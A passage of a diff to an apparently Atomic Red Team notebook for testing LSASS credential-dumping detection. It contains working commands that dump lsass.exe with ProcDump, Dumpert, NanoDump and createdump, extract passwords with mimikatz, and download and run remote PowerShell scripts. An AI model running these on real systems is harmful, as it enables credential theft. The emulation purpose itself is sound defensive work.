-Force\nNew-Item -ItemType Directory (Split-Path PathToAtomicsFolder\\T1003.001\\bin\\procdump.exe) -Force | Out-Null\nCopy-Item $env:TEMP\\Procdump\\Procdump.exe PathToAtomicsFolder\\T1003.001\\bin\\procdump.exe -Force\n\n```" + "source": "### Atomic Test #1 - Dump LSASS.exe Memory using ProcDump\nThe memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals\nProcDump.\n\nUpon successful execution, you should see the following file created c:\\windows\\temp\\lsass_dump.dmp.\n\nIf you see a message saying \"procdump.exe is not recognized as an internal or external command\", try using the get-prereq_commands to download and install the ProcDump tool first.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\procdump.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://download.sysinternals.com/files/Procdump.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\Procdump.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\Procdump.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\Procdump\" -Force\nNew-Item -ItemType Directory (Split-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\procdump.exe\") -Force | Out-Null\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\Procdump\\Procdump.exe\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\procdump.exe\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "873e4901", + "id": "1d5b84dd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "ab7ecb61", + "id": "7945cae2", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1003.001\\bin\\procdump.exe -accepteula -ma lsass.exe C:\\Windows\\Temp\\lsass_dump.dmp\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\procdump.exe\" -accepteula -ma lsass.exe C:\\Windows\\Temp\\lsass_dump.dmp\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "f1c0f44c", + "id": "3dc10608", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "beb49394", + "id": "1c482a39", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel \"C:\\Windows\\Temp\\lsass_dump.dmp\" >nul 2> nul\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5f16b44e", + "id": "835d88fd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "439bc94c", + "id": "b63c7a7d", "metadata": {}, "source": [ "### Atomic Test #2 - Dump LSASS.exe Memory using comsvcs.dll", @@ -73,118 +73,118 @@ { "cell_type": "code", "execution_count": null, - "id": "384ee542", + "id": "ede117f1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "bb3ac919", + "id": "fab4251a", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item $env:TEMP\\lsass-comsvcs.dmp -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2b51e796", + "id": "b6dbefb1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "d3c2af28", + "id": "7a242dab", "metadata": {}, - "source": "### Atomic Test #3 - Dump LSASS.exe Memory using direct system calls and API unhooking\nThe memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection. \nhttps://github.com/outflanknl/Dumpert\nhttps://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/\nUpon successful execution, you should see the following file created C:\\\\windows\\\\temp\\\\dumpert.dmp.\n\nIf you see a message saying \\\"The system cannot find the path specified.\\\", try using the get-prereq_commands to download the tool first.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Dumpert executable must exist on disk at specified location (#{dumpert_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1003.001\\bin\\Outflank-Dumpert.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -ItemType Directory (Split-Path PathToAtomicsFolder\\T1003.001\\bin\\Outflank-Dumpert.exe) -Force | Out-Null\nInvoke-WebRequest \"https://github.com/clr2of8/Dumpert/raw/5838c357224cc9bc69618c80c2b5b2d17a394b10/Dumpert/x64/Release/Outflank-Dumpert.exe\" -OutFile PathToAtomicsFolder\\T1003.001\\bin\\Outflank-Dumpert.exe\n\n```" + "source": "### Atomic Test #3 - Dump LSASS.exe Memory using direct system calls and API unhooking\nThe memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection. \nhttps://github.com/outflanknl/Dumpert\nhttps://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/\nUpon successful execution, you should see the following file created C:\\\\windows\\\\temp\\\\dumpert.dmp.\n\nIf you see a message saying \\\"The system cannot find the path specified.\\\", try using the get-prereq_commands to download the tool first.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Dumpert executable must exist on disk at specified location (#{dumpert_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\Outflank-Dumpert.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -ItemType Directory (Split-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\Outflank-Dumpert.exe\") -Force | Out-Null\nInvoke-WebRequest \"https://github.com/clr2of8/Dumpert/raw/5838c357224cc9bc69618c80c2b5b2d17a394b10/Dumpert/x64/Release/Outflank-Dumpert.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\Outflank-Dumpert.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "dfa915b1", + "id": "46d088db", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "36674443", + "id": "dbd0ca1a", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1003.001\\bin\\Outflank-Dumpert.exe\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\Outflank-Dumpert.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "ddd83a5a", + "id": "d36d9d3d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "9c195706", + "id": "736a3951", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel C:\\windows\\temp\\dumpert.dmp >nul 2> nul\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cfc725a7", + "id": "0fdacc3a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "76c93200", + "id": "a1fa629c", "metadata": {}, - "source": "### Atomic Test #4 - Dump LSASS.exe Memory using NanoDump\nThe NanoDump tool uses syscalls and an invalid dump signature to avoid detection.\n\nhttps://github.com/helpsystems/nanodump\n\nUpon successful execution, you should find the nanondump.dmp file in the temp directory\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: NanoDump executable must exist on disk at specified location ($env:TEMP\\nanodump.x64.exe)\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path $env:TEMP\\nanodump.x64.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/helpsystems/nanodump/raw/84db0c1737bbe027431733c193cfacf59a07259b/compiled/nanodump.x64.exe\" -OutFile \"$env:TEMP\\nanodump.x64.exe\"\n\n```" + "source": "### Atomic Test #4 - Dump LSASS.exe Memory using NanoDump\nThe NanoDump tool uses syscalls and an invalid dump signature to avoid detection.\n\nhttps://github.com/helpsystems/nanodump\n\nUpon successful execution, you should find the nanondump.dmp file in the temp directory\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: NanoDump executable must exist on disk at specified location (PathToAtomicsFolder\\..\\ExternalPayloads\\nanodump.x64.exe)\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\..\\ExternalPayloads\\nanodump.x64.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/fortra/nanodump/blob/2c0b3d5d59c56714312131de9665defb98551c27/dist/nanodump.x64.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\nanodump.x64.exe\" \n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c4ac7004", + "id": "92852439", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "8fc55b7b", + "id": "884db0fd", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\n%temp%\\nanodump.x64.exe -w \"%temp%\\nanodump.dmp\"\n```" + "```command_prompt\nPathToAtomicsFolder\\..\\ExternalPayloads\\nanodump.x64.exe -w \"%temp%\\nanodump.dmp\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "60186c5d", + "id": "88a50322", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "1d5f091a", + "id": "e6f5c1cd", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel \"%temp%\\nanodump.dmp\" >nul 2> nul\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a9466705", + "id": "9e4164b8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "879331f8", + "id": "23575740", "metadata": {}, "source": [ "### Atomic Test #5 - Dump LSASS.exe Memory using Windows Task Manager", @@ -196,52 +196,52 @@ }, { "cell_type": "markdown", - "id": "c71a557f", + "id": "66c98b16", "metadata": {}, - "source": "### Atomic Test #6 - Offline Credential Theft With Mimikatz\nThe memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with\nMimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz must exist on disk at specified location (#{mimikatz_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1003.001\\bin\\x64\\mimikatz.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$basePath = Split-Path PathToAtomicsFolder\\T1003.001\\bin\\x64\\mimikatz.exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```\n##### Description: Lsass dump must exist at specified location (#{input_file})\n\n##### Check Prereq Commands:\n```cmd\ncmd /c \"if not exist %tmp%\\lsass.DMP (exit /b 1)\"\n\n```\n##### Get Prereq Commands:\n```cmd\nWrite-Host \"Create the lsass dump manually using the steps in the previous test (Dump LSASS.exe Memory using Windows Task Manager)\"\n\n```" + "source": "### Atomic Test #6 - Offline Credential Theft With Mimikatz\nThe memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with\nMimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz must exist on disk at specified location (#{mimikatz_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\x64\\mimikatz.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$basePath = Split-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\x64\\mimikatz.exe\" | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```\n##### Description: Lsass dump must exist at specified location (#{input_file})\n\n##### Check Prereq Commands:\n```cmd\ncmd /c \"if not exist %tmp%\\lsass.DMP (exit /b 1)\"\n\n```\n##### Get Prereq Commands:\n```cmd\nWrite-Host \"Create the lsass dump manually using the steps in the previous test (Dump LSASS.exe Memory using Windows Task Manager)\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c67a4993", + "id": "c12614d6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "da2b8864", + "id": "5d932d2d", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1003.001\\bin\\x64\\mimikatz.exe \"sekurlsa::minidump %tmp%\\lsass.DMP\" \"sekurlsa::logonpasswords full\" exit\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\x64\\mimikatz.exe\" \"sekurlsa::minidump %tmp%\\lsass.DMP\" \"sekurlsa::logonpasswords full\" exit\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "a909f27b", + "id": "f6cbe6d6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "b37ed426", + "id": "aa93a76c", "metadata": {}, - "source": "### Atomic Test #7 - LSASS read with pypykatz\nParses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa::\n\nPython 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test.\n\nSuccessful execution of this test will display multiple useranames and passwords/hashes to the screen.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `command_prompt`!\n##### Description: Computer must have python 3 installed\n\n##### Check Prereq Commands:\n```cmd\npy -3 --version >nul 2>&1\nexit /b %errorlevel%\n\n```\n##### Get Prereq Commands:\n```cmd\necho \"Python 3 must be installed manually\"\n\n```\n##### Description: Computer must have pip installed\n\n##### Check Prereq Commands:\n```cmd\npy -3 -m pip --version >nul 2>&1\nexit /b %errorlevel%\n\n```\n##### Get Prereq Commands:\n```cmd\necho \"PIP must be installed manually\"\n\n```\n##### Description: pypykatz must be installed and part of PATH\n\n##### Check Prereq Commands:\n```cmd\npypykatz -h >nul 2>&1\nexit /b %errorlevel%\n\n```\n##### Get Prereq Commands:\n```cmd\npip install pypykatz\n\n```" + "source": "### Atomic Test #7 - LSASS read with pypykatz\nParses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa::\n\nPython 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test.\n\nSuccessful execution of this test will display multiple usernames and passwords/hashes to the screen.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `command_prompt`!\n##### Description: Computer must have python 3 installed\n\n##### Check Prereq Commands:\n```cmd\npy -3 --version >nul 2>&1\nexit /b %errorlevel%\n\n```\n##### Get Prereq Commands:\n```cmd\necho \"Python 3 must be installed manually\"\n\n```\n##### Description: Computer must have pip installed\n\n##### Check Prereq Commands:\n```cmd\npy -3 -m pip --version >nul 2>&1\nexit /b %errorlevel%\n\n```\n##### Get Prereq Commands:\n```cmd\necho \"PIP must be installed manually\"\n\n```\n##### Description: pypykatz must be installed and part of PATH\n\n##### Check Prereq Commands:\n```cmd\npypykatz -h >nul 2>&1\nexit /b %errorlevel%\n\n```\n##### Get Prereq Commands:\n```cmd\npip install pypykatz\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "870d322c", + "id": "008d793c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "a497a2e9", + "id": "7c6829fa", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -251,98 +251,98 @@ { "cell_type": "code", "execution_count": null, - "id": "f0d5458f", + "id": "c5d0aa83", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "fde76fb6", + "id": "cee9b8da", "metadata": {}, "source": [ "### Atomic Test #8 - Dump LSASS.exe Memory using Out-Minidump.ps1", - "The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure\npowershell implementation that leverages the MiniDumpWriteDump Win32 API call.\nUpon successful execution, you should see the following file created $env:SYSTEMROOT\\System32\\lsass_*.dmp.\n", + "The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure\npowershell implementation that leverages the MiniDumpWriteDump Win32 API call.\nUpon successful execution, you should see the following file created $env:TEMP\\lsass_*.dmp.\n\nAuthor of Out-Minidump: Matthew Graeber (@mattifestation)\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); get-process lsass | Out-Minidump\n```" + "```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\ntry{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}\ncatch{ $_; exit $_.Exception.Response.StatusCode.Value__}\nget-process lsass | Out-Minidump\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "3811acd9", + "id": "e6b2f44e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "36e3fcd1", + "id": "a5f4f4c3", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item $env:TEMP\\lsass_*.dmp -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ef4b5040", + "id": "d128386d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "a00cf7a0", + "id": "bf280a84", "metadata": {}, - "source": "### Atomic Test #9 - Create Mini Dump of LSASS.exe using ProcDump\nThe memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals\nProcDump. This particular method uses -mm to produce a mini dump of lsass.exe\n\nUpon successful execution, you should see the following file created c:\\windows\\temp\\lsass_dump.dmp.\n\nIf you see a message saying \"procdump.exe is not recognized as an internal or external command\", try using the get-prereq_commands to download and install the ProcDump tool first.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1003.001\\bin\\procdump.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://download.sysinternals.com/files/Procdump.zip\" -OutFile \"$env:TEMP\\Procdump.zip\"\nExpand-Archive $env:TEMP\\Procdump.zip $env:TEMP\\Procdump -Force\nNew-Item -ItemType Directory (Split-Path PathToAtomicsFolder\\T1003.001\\bin\\procdump.exe) -Force | Out-Null\nCopy-Item $env:TEMP\\Procdump\\Procdump.exe PathToAtomicsFolder\\T1003.001\\bin\\procdump.exe -Force\n\n```" + "source": "### Atomic Test #9 - Create Mini Dump of LSASS.exe using ProcDump\nThe memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals\nProcDump. This particular method uses -mm to produce a mini dump of lsass.exe\n\nUpon successful execution, you should see the following file created c:\\windows\\temp\\lsass_dump.dmp.\n\nIf you see a message saying \"procdump.exe is not recognized as an internal or external command\", try using the get-prereq_commands to download and install the ProcDump tool first.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\procdump.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://download.sysinternals.com/files/Procdump.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\Procdump.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\Procdump.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\Procdump\" -Force\nNew-Item -ItemType Directory (Split-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\procdump.exe\") -Force | Out-Null\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\Procdump\\Procdump.exe\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\procdump.exe\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2330b1c2", + "id": "52427b92", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 9 -GetPreReqs" }, { "cell_type": "markdown", - "id": "ea142227", + "id": "d7fe84a4", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1003.001\\bin\\procdump.exe -accepteula -mm lsass.exe C:\\Windows\\Temp\\lsass_dump.dmp\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\procdump.exe\" -accepteula -mm lsass.exe C:\\Windows\\Temp\\lsass_dump.dmp\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "b19ad246", + "id": "44d395b9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "50b0c331", + "id": "cd336c2d", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel \"C:\\Windows\\Temp\\lsass_dump.dmp\" >nul 2> nul\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c14b44d1", + "id": "d05ab02a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "2ee9007c", + "id": "1dbec268", "metadata": {}, "source": [ "### Atomic Test #10 - Powershell Mimikatz", - "Dumps credentials from memory via Powershell by invoking a remote mimikatz script.\nIf Mimikatz runs successfully you will see several usernames and hashes output to the screen.\nCommon failures include seeing an \\\"access denied\\\" error which results when Anti-Virus blocks execution. \nOr, if you try to run the test without the required administrative privleges you will see this error near the bottom of the output to the screen \"ERROR kuhl_m_sekurlsa_acquireLSA\"\n", + "Dumps credentials from memory via Powershell by invoking a remote mimikatz script.\nIf Mimikatz runs successfully you will see several usernames and hashes output to the screen.\nCommon failures include seeing an \\\"access denied\\\" error which results when Anti-Virus blocks execution. \nOr, if you try to run the test without the required administrative privileges you will see this error near the bottom of the output to the screen \"ERROR kuhl_m_sekurlsa_acquireLSA\"\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", @@ -352,28 +352,28 @@ { "cell_type": "code", "execution_count": null, - "id": "6d05421b", + "id": "a7aa5d08", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "72d1f050", + "id": "e4cf15e9", "metadata": {}, - "source": "### Atomic Test #11 - Dump LSASS with createdump.exe from .Net v5\nUse createdump executable from .NET to create an LSASS dump.\n\n[Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: .Net v5 must be installed\n\n##### Check Prereq Commands:\n```powershell\n$exePath = resolve-path \"$env:ProgramFiles\\dotnet\\shared\\Microsoft.NETCore.App\\5*\\createdump.exe\"\nif (Test-Path $exePath) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nwinget install Microsoft.DotNet.DesktopRuntime.5 --accept-source-agreements --accept-package-agreements --silent\n\n```" + "source": "### Atomic Test #11 - Dump LSASS with createdump.exe from .Net v5\nUse createdump executable from .NET to create an LSASS dump.\n\n[Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: .Net v5 must be installed\n\n##### Check Prereq Commands:\n```powershell\n$exePath = resolve-path \"$env:ProgramFiles\\dotnet\\shared\\Microsoft.NETCore.App\\5*\\createdump.exe\"\nif ($exePath -and (Test-Path $exePath)) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nwinget install Microsoft.DotNet.DesktopRuntime.5 --accept-source-agreements --accept-package-agreements --silent\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8205d682", + "id": "069dafad", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 11 -GetPreReqs" }, { "cell_type": "markdown", - "id": "96211df7", + "id": "4cfe6780", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -383,42 +383,42 @@ { "cell_type": "code", "execution_count": null, - "id": "a320a058", + "id": "cb034133", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "4969dae2", + "id": "23dd94ab", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item $env:Temp\\dotnet-lsass.dmp -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e12b2190", + "id": "294ee526", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 11 -Cleanup" }, { "cell_type": "markdown", - "id": "85498fe4", + "id": "94e2bbe9", "metadata": {}, "source": "### Atomic Test #12 - Dump LSASS.exe using imported Microsoft DLLs\nThe memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by\nimporting built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump \nfile and delete it immediately to avoid brittle EDR detections that signature lsass minidump files.\n\nUpon successful execution, you should see the following file created $env:TEMP\\lsass-xordump.t1003.001.dmp.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Computer must have xordump.exe\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path 'C:\\Windows\\Temp\\xordump.exe') {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/audibleblink/xordump/releases/download/v0.0.1/xordump.exe\" -OutFile C:\\Windows\\Temp\\xordump.exe\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "676588b6", + "id": "98efbd9f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 12 -GetPreReqs" }, { "cell_type": "markdown", - "id": "5914ae33", + "id": "8a54c60a", "metadata": {}, "source": [ 